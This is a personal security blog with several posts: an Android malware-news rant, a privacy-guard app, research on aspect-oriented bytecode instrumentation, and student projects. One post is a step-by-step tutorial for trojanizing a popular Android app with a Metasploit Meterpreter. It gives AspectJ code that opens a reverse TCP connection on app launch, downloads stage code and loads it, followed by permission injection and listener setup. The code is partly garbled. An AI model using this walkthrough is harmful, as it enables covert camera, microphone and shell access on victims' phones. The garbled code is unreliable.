Stelly's Security Symposium

To content | To menu | To search

Wednesday 4 February 2015

Android FUD Articles

Okay - this 'tech' news cycle is really irritating.

Avast came out with a promotion for their premium service by announcing that some apps have infectious 'malware'. From this blog post, all kinds of ridiculous headlines have surfaced:


I have a problem with this kind of FUD spewing out marketing departments such as Avast. For one, they have neatly included a promotion for their subscription-based checksum comparison tool, which is probably named something like "SUPER SHIELDS UP 2015 PREMIUM ANDROID MEGASHIELD HASH SECURITY SUITE". Next, sensationalized language combined with over-inflated numbers create a critical mass for major news outlets to feed on, none of whom have the slightest idea of what they're talking about (with the added bonus of more advertisement). Take for example the Forbes article:

These clicks can potentially open up malware-infested web pages, run illicit processes on the handset, or prompt the user to install other applications.

Who cares? Don't install crap on your phone in the first place, and furthermore don't click when it asks to install more. Oh, and nice of Forbes to drop the following in:

Without Avast’s alert, would this attack vector have been discovered?

But I'm sure Forbes wasn't paid for such sweetened if their half sentence about 'conflict of interest' nullifies their advertisement disguised as an article. Hah!

Ranting aside, every news article I've seen isn't approaching it right. In fact, nobody has to my knowledge has actually thought about the problem -- they've just been pissed at symptoms.

The real problem is that end-users aren't allowed to control their device's behavior. This is totally on purpose, and you are not meant to question it. If you could, for example, establish a per-app trust model, and use built-in permissions to enforce your model, you wouldn't have these problems (or any like it). Google does not want this - they want to be able to shove ads down your throat. They want to be able to sell your home's location to advertisers. The last thing they could possibly allow is for you to deny an app access to the internet and prevent it from pulling down more adverts. This is why we need to take control of our own devices -- nobody is looking out for us, and they will not in the future.

We can block internet access, deny popups and otherwise overwrite any builtin function used by applications. And it doesn't require rooting. Apphacking is the way to go, of that I have no doubt.

Sunday 26 October 2014

End-to-end Privacy Guard

In the morning to all,

There has been a lot of fuss from recently released reports about free Android apps (notably, flashlight apps) "stealing" your data. Well, firstly, wake up. Advertisers thrive off of your information. How does Google generate a $380 BILLION market cap without charging a toll for each search? They turn around and sell your information to advertisers. Period. You agree to it. Either get off these "free" services, or, as I propose, take control of YOUR devices and services.

I have finished a proof of concept app which will combine my thesis research with everyday practicality. This is an end-to-end privacy guard which you can use to protect yourself from prying applications. There is no rooting of your Android for this to work -- it relies on bytecode instrumentation to restrict the application to what it needs access to. You can selectively grant and deny permissions to a given application after you install it, allowing granular control of YOUR devices. The technical term is "dynamic aspect oriented bytecode instrumentation", but let's just call it Apphacking. See the video below:

Do not be fooled by recent claims of protection from the marketing firm, SnoopWall. They simply reported on old news which anyone with common sense already suspects. They've developed a "protection" app, but it does nothing except report on the trustworthiness of an app.... the Google Play store implements that exact functionality with the ratings and reviews system.

Sunday 29 June 2014

Android Bytecode Instrumentation for Meterpreter Injection

Android App Meterpreter Injection

In this post, I'll take you through injecting a meterpreter into an Android app. If you've been paying attention, metasploit released an Android Meterpreter payload some time back. The payload includes scary stuff - you can snap photos with any of the Android's cameras, record audio, drop into a shell, and pretty much ruin the user's day.


That's all great! However, the only current method of delivery is to generate the payload as an .apk and convincing the end user to install the app. This app, as the user will soon find out, does apparently nothing, and although plenty is going on in the background there is no user interaction. Users will, if you can convince them to download the app, will soon become disinterested.. they may even uninstall your newly minted metasploit backdoor. Ho hum.

But what if we could take the latest release of a popular app, do some metasploit injection magic, and produce an app which looks, feels, and functions exactly as it's supposed to, but also contains a metasploit payload? Enter Bytecode Instrumentation.

If you haven't read my previous post on the subject, bytecode instrumentation simply modifies the opcodes of a given app. Originally, it was used to inject run-time permissions for pesky, over-provisioned apps. But hey, who cares about what something was ''designed'' to do?

So, let's start with a fresh APK. Pick your app from the Play Store, grab it's package name, and head on over to to download the file directly to your machine.

Once we have that, we'll use a meterpreter aspect with a pointcut on an Activity's 'onCreate()' function (I'll leave AOJ syntax tutorials for the web):

   public aspect revtcp {
       private static Context _context = null;
       pointcut onCreateCall() : execution(* *.onCreate(..)) 
                                 && within (com.dw.contacts.activities.ContactsActivity);
       before() : onCreateCall() {
           System.out.println("* Apphack intercepted execution!");
           if (_context != null)
       private void setContext() {
           try {
               Method localMethod = Class.forName("").getMethod("currentApplication", new Class0);
               _context = (Context)localMethod.invoke(null, (Object)null);
           } catch (Exception e) {
               System.out.println("! Exception grabbing context");
       public  void startWithContext() {
           System.setProperty("user.dir", _context.getFilesDir().getAbsolutePath());
       public void startAsync() {
           new Thread()
             public void run()
       public void rinseAndRepeat() {
         int i = 15;
         while (!startReverseConn()) {
           System.out.println("- loop.. we arent done with the connection yet");
           int j = i - 1;
           if (i <= 0)
           try {
               i = j;
           } catch (InterruptedException localInterruptedException) {
               i = j;
       private boolean startReverseConn() {
           System.out.println("- Starting 'start reverse conection'");
           try {
           } catch (Exception localException) {
               System.out.println("- Caught exception: " + localException);
               return false;
           return true;
       private void reverseTCP()  throws Exception {
           System.out.println("- Starting reverse tcp");
           Socket localSocket = new Socket("", Integer.parseInt("4445"));
           loadStage(new DataInputStream(localSocket.getInputStream()), new DataOutputStream(localSocket.getOutputStream()), null, new String0);
       private  void loadStage(DataInputStream paramDataInputStream, OutputStream paramOutputStream, Context paramContext, String paramArrayOfString)
       throws Exception  {
           System.setProperty("user.dir", _context.getFilesDir().getAbsolutePath());
           System.out.println("- Current Directory: " + _context.getFilesDir().getAbsolutePath());
           System.out.println("- Starting loading of stage data");
           String str1 = new File(".").getAbsolutePath();
           String str2 = str1 + File.separatorChar + "payload.jar";
           String str3 = str1 + File.separatorChar + "payload.dex";
           System.out.println("- Str1 baseDirectory: " +str1);
           System.out.println("- Str2 payload.jar " +str2);
           System.out.println("- Str3 payload.dex: " +str3);
           byte arrayOfByte1 = new byteparamDataInputStream.readInt();
           String str4 = new String(arrayOfByte1);
           System.out.println("- Class to load: " + str4);
           byte arrayOfByte2 = new byteparamDataInputStream.readInt();
           File localFile = new File(str2);
           if (!localFile.exists())
           FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
           Class localClass = new DexClassLoader(str2, str1, str1, ContactsActivity.class.getClassLoader()).loadClass(str4);
           Object localObject = localClass.newInstance();
           new File(str3).delete();
           MetStart(paramDataInputStream, paramOutputStream, _context);
       public void MetStart(DataInputStream paramDataInputStream, OutputStream paramOutputStream, Context paramContext)
               throws Exception
               System.out.println("* Starting meterpreter.");
               String str1 = new File(".").getAbsolutePath();
               String str2 = str1 + File.separatorChar + "met.jar";
               String str3 = str1 + File.separatorChar + "met.dex";
               byte arrayOfByte = new byteparamDataInputStream.readInt();
               File localFile = new File(str2);
               if (!localFile.exists())
               FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
               Class localClass = new DexClassLoader(str2, str1, str1, ContactsActivity.class.getClassLoader()).loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
               new File(str3).delete();
               Class arrayOfClass = new Class4;
               arrayOfClass0 = DataInputStream.class;
               arrayOfClass1 = OutputStream.class;
               arrayOfClass2 = Context.class;
               arrayOfClass3 = Boolean.TYPE;
               Constructor localConstructor = localClass.getConstructor(arrayOfClass);
               Object arrayOfObject = new Object4;
               arrayOfObject0 = paramDataInputStream;
               arrayOfObject1 = paramOutputStream;
               arrayOfObject2 = paramContext;
               arrayOfObject3 = Boolean.valueOf(false);

Compilation time

This aspect, compiled with AJC (the aspectJ compiler), pops out a nice .jar file which we convert to the Dalvik style with D2J-Jar2Dex. -f -o classes.dex output/out.jar

Don't forget about permissions!

So, you applied your aspect, converted it to dalvik, threw it in your APK and went off to the races thinking you were done? Well, so did I -- I forgot about all the new permissions these apps will have to request! (Android permissions model works at the OS level, so there will be no avoiding this necessity without rooting the device, or perhaps exploiting kernel bugs). Anyways, a few scripts later, and utilizing APKTool, I was able to inject all required permissions to the AndroidManifest within the APK.


Install the APK to your device by whatever means you feel proper. (This would be tricky with an emulator, as it runs within a QEMU and network interfaces are local to it).

Fire up your handler

In metaspoit, fire up your listener. (I used exploit/multi/handler, with the android/meterpreter/reverse_tcp payload).


First is the application on which I injected the Android meterpreter (DW Contacts), and below is my msfconsole.





Thursday 13 March 2014

Dynamic Aspect Oriented Bytecode Instrumentation

Dynamic Aspect Oriented Bytecode Instrumentation

As part of my graduate research, I developed a process combining bytecode instrumentation with a relatively unknown programming paradigm known as aspect oriented programming. In a truly synergistic fashion, these ideas produce beautiful results when used in concert. The effect of this research, as demonstrated below, is to have the ability to dynamically alter the behavior of programs written in an interpreted language (think Java, Dalvik, Python & Ruby). So, we can alter any program written in those languages, and bend it in order to change its behavior.

The need to alter

Since the advent of the modern smartphone, circa 2007 (Apple's iPhone), we've seen an ever-increasing amount of personal information available to our devices. Ergo, we impart the trust of goodwill and safe handling to applications we install on them. We trust them with things such as our location, our contact information, internet access.. etc.

While this trust is easy for some to give up, privacy-aware individuals are slow to trust; however, outside these two categories lie the majority - the ill-informed and unaware. In which camp do you find yourself? I, for one, do not want applications from any developer to have more than the absolute BARE-MINIMUM access than necessary for the application to function. I do not want my flashlight app to have access to my GPS, and I do not want my banking app to have access to any other server than that hosted by Capital One, period. These apps relate examples of over-provisioning, and this study suggests more than 70% of Android apps are guilty of such offenses. No matter what the reasons for this over-provisioning, the simple fact of the matter is that YOU should have control over YOUR DEVICE and therefore, control over YOUR INFORMATION.

It boils down to control. You agree these apps can have everything they want, ad nauseam. You can't curb it. You have no recourse.


And you have to agree to give the app access to everything it asks for, or you can't even install it.

Wouldn't it be nice if you could use any app, knowing it can't access your anything on your device unless YOU deem it necessary? Howbout dynamically allowing or disallowing access to particular functions?

This is the perfect proving ground for Aspect Oriented Bytecode Instrumentation.

We use instrumentation to change the app, and aspect programming to design the changes.

(If you're familiar with Aspect Oriented Programming, the next section will bore you. Feel free to skip to the movie!)

Aspect Oriented Programming (AOP) hit stride with the AspectJ project, which launched in 2001. It's the de-facto standard AOP implementation for Java, and that's what I focus on with this project. I highly recommend reading more into how the instrumentation process works, but that is beyond this article. Take me for my word that it simply looks at the program's bytecode and knows how to change it for what you want to do.

AOP, as mentioned earlier, will let us design the changes we want to make. We implement these changes by using two AOP constructs known as pointcuts and advice.

Pointcuts define what we want to change.

Advice defines what we want to do.

When combined, they form a construct called an 'aspect'.

A typical pointcut could look like the following:


In this example, we want to apply our advice (which has not yet been defined) to every part in the program which calls the function "query". We will allow any function with that name, no matter what the return type (denoted with the wildcard "*") and any number of function arguments (".."). The "call" keyword defines what behavior we want to apply advice to. Here, we want to change what happens when the function "query" is called. However, there are other things you can do, such as have the pointcut defined on execution, initialization, etc.

We apply that pointcut with this advice... guess what the goal is:


This combination of methods, when combined to an aspect, will cause any query function to fail. This is because we modify the database call to have extra, impossible criteria - the query is appended with "where 0", which if you are familiar with SQL you know this will never yield results.

In fact, this is not just a simple example. This query was essentially what I did to revoke an applications access to the contacts database. I added a few lines to allow for dynamic authorization. Here is the source aspect.

With this toolset, you can do things like the following:

This process has been automated, so that we simply drop an app into a pipeline which performs all the necessary instrumentation. When it comes out the other end, it will be dynamically instrumented to allow for granular control. I know what you're thinking -- Android apps aren't technically Java bytecode, they're Dalvik bytecode! Well, true. But with the help of the nifty tool Dex2Jar, this was a trivial barrier.

Wednesday 26 February 2014

Cajun Satellite

As part of my graduate research, I worked on writing the operating system for a CubeSat. Dubbed Cajun Advanced Pico-satellite Experiment (CAPE, for short), myself and one other student wrote the "CDH" system which was responsible for command and control of all other subsystems. The project took place over several years, with a plethora of students continuously working on the different components. It finally launched in November 2013, and it's current flightpath can be found here.

HAM radio operators can talk to the satellite on 145.820 (doppler shift can bring it up to .825). TNC comms can command the satellite to broadcast specific messages, enable the software defined radio, send emails, texts, and a few other little things. Email me if you're interested in sending it commands.. we could use more radio operators around the world.

Anyways, very proud of our team for getting a working satellite in orbit. Not something many people get to say.. take a listen to our satellite! Excerpt from a previous pass here:


As a senior project, we built a first person shooter style multiplayer game. We built it with the Unreal engine. I've got to say, that engine is beautiful. Once we got the networking just right, it was actually pretty fun.

The unique twist to our game is that you essentially controlled two characters, but you could only control one at a time. Your "uncontrolled" character would simply be made invisible, but still liable to damage.

Here is a demo from very early in our process:

Tuesday 25 February 2014

Social Ants

This was a pretty cool project. It was written in Objective-C, and used Apple's Quartz technology for the simplified GUI. The aim was to learn a little about artificial intelligence, and to model the AI after something in nature.

A colony of ants is dynamically and randomly generated in an empty environment. When the colony runs low on food supplies, they send out scouts to locate sources of nutrition. They have to seek out the lone source (again, randomly placed in the environment), and relay the location of the food to their brethren. Pheromones are how most social insects do this in the real world, and that's how I made these virtual ants share information. (Side note: I had no idea how accurate these trails are in real life... bees do orchestrated dances which can be deconstructed). When a food source is found, the ant will lay down plenty of pheromone, and make a b-line for the colony, laying down the informative notes along the way.

Many nifty optimizations to this semiochemical interaction exist. For instance, ants can lay down both a "hot" and "cold" trail. Succeeding ants will smell the cold trail and know that this area had been searched to no avail, while a hot trail can be used to indicate that an ant had successfully found food and the source is extant. Upon finding a cold trail, they will immediately turn around and start looking in another area. It's interesting to consider that the "hot" trail represents an optimal path between the colony and the food, as over time more and more ants who follow the trail lay down more "hot" knowledge. I mimicked this behavior here.

Anyways, the project turned out much better than expected - you could actually witness the ants work together without ever directly sharing knowledge. I built in a few cool things too, such as attacking grasshoppers (which ants had to work together to defeat), and a way to erase parts of the pheromone trail (it was strangely hilarious and fulfilling to watch them scramble around looking for a path they were just following).

Unfortunately, the only media I have remaining from the project (my laptop was stolen and backups lost), is with a sample video I made halfway through the project's completion. Still, you can see where it was going: